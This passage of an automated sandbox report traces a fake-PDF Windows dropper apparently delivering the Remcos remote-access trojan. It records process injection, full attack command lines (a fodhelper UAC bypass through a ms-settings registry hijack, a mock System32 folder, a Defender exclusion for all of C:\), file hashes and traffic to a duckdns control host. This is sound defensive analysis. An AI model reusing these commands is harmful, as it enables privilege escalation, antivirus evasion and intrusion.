2c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1528 wrote to memory of 3272 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 1528 wrote to memory of 3272 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 1528 wrote to memory of 3272 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 1528 wrote to memory of 3272 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 1528 wrote to memory of 3272 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 3272 wrote to memory of 2188 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 3272 wrote to memory of 2188 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2188 wrote to memory of 4632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2188 wrote to memory of 4632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2188 wrote to memory of 5084 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 5084 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 4664 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 4664 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 4796 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 4796 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4796 wrote to memory of 2724 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4796 wrote to memory of 2724 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2188 wrote to memory of 3912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 3912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3912 wrote to memory of 3044 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3912 wrote to memory of 3044 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2188 wrote to memory of 3376 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 3376 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3376 wrote to memory of 2104 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 3376 wrote to memory of 2104 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2188 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2188 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2188 wrote to memory of 3676 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 3676 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3676 wrote to memory of 4376 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3676 wrote to memory of 4376 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2188 wrote to memory of 4476 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 4476 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4476 wrote to memory of 2168 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 4476 wrote to memory of 2168 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2168 wrote to memory of 2012 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2168 wrote to memory of 2012 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2012 wrote to memory of 1484 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2012 wrote to memory of 1484 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2188 wrote to memory of 3408 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 2188 wrote to memory of 3408 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 1528 wrote to memory of 4500 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\extrac32.exe
PID 1528 wrote to memory of 4500 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\extrac32.exe
PID 1528 wrote to memory of 4500 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\extrac32.exe
PID 1528 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\SndVol.exe
PID 1528 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\SndVol.exe
PID 1528 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\SndVol.exe
PID 1528 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Windows\SysWOW64\SndVol.exe
PID 2188 wrote to memory of 3592 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 3592 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3592 wrote to memory of 4136 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 3592 wrote to memory of 4136 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2188 wrote to memory of 724 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 724 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 724 wrote to memory of 4020 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 724 wrote to memory of 4020 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2188 wrote to memory of 4492 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 4492 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4492 wrote to memory of 1968 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 4492 wrote to memory of 1968 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2188 wrote to memory of 3676 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 3676 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 2488 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2188 wrote to memory of 2488 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe

"C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe"

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1619.tmp\161A.tmp\161B.bat C:\Users\Public\Libraries\ioeztdcY.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\system32\cmd.exe

cmd.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\System32\SndVol.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM cmd.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
US 8.8.8.8:53 138.201.86.20.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 2005.filemail.com udp
DE 50.7.86.226:443 2005.filemail.com tcp
DE 50.7.86.226:443 2005.filemail.com tcp
US 8.8.8.8:53 226.86.7.50.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
GB 23.52.177.198:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 198.177.52.23.in-addr.arpa udp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 130.26.198.103.in-addr.arpa udp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp

Files

memory/1528-0-0x0000000002310000-0x0000000002311000-memory.dmp

memory/1528-1-0x0000000000400000-0x0000000000527000-memory.dmp

C:\Users\Public\Libraries\ioeztdcY.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/3272-5-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3272-8-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3272-9-0x0000000000400000-0x000000000041A000-memory.dmp

memory/3272-11-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1619.tmp\161A.tmp\161B.bat

MD5 54147a112fd4c4fffbdeb2eeab926f59
SHA1 7f4ae3d3dd6202e47bc02438a947065c7ed115a9
SHA256 b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
SHA512 20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/2168-42-0x00000269D0A20000-0x00000269D0A42000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kde3y31b.tfx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

memory/4600-66-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-67-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-62-0x0000000003470000-0x0000000004470000-memory.dmp

memory/4600-63-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-68-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-77-0x0000000000400000-0x0000000000482000-memory.dmp

memory/3272-85-0x0000000000400000-0x000000000041A000-memory.dmp

memory/3272-83-0x0000000000400000-0x0000000001400000-memory.dmp

memory/4600-86-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-87-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-90-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-91-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-92-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-89-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-94-0x0000000000400000-0x0000000000482000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 d90c01583a67296f72cd482ff8c6a4bd
SHA1 0c49efbeedc1465efe4bb2636ac1d7b8c1fcee79
SHA256 fde039f313927458fce563c08217c3778704334959f1f1908b70b956223b1137
SHA512 76ee54d807ce5a037704e230a6ab98df9e7aa9c3843e042e8092f4f83b5ac5bda692f5db9a7c2fef4133e8987aba638eacfb52e16aa1cfbd0f235eb5aebb3dde

memory/4600-99-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-101-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-102-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-109-0x0000000000400000-0x0000000000482000-memory.dmp

memory/4600-110-0x0000000000400000-0x0000000000482000-memory.dmp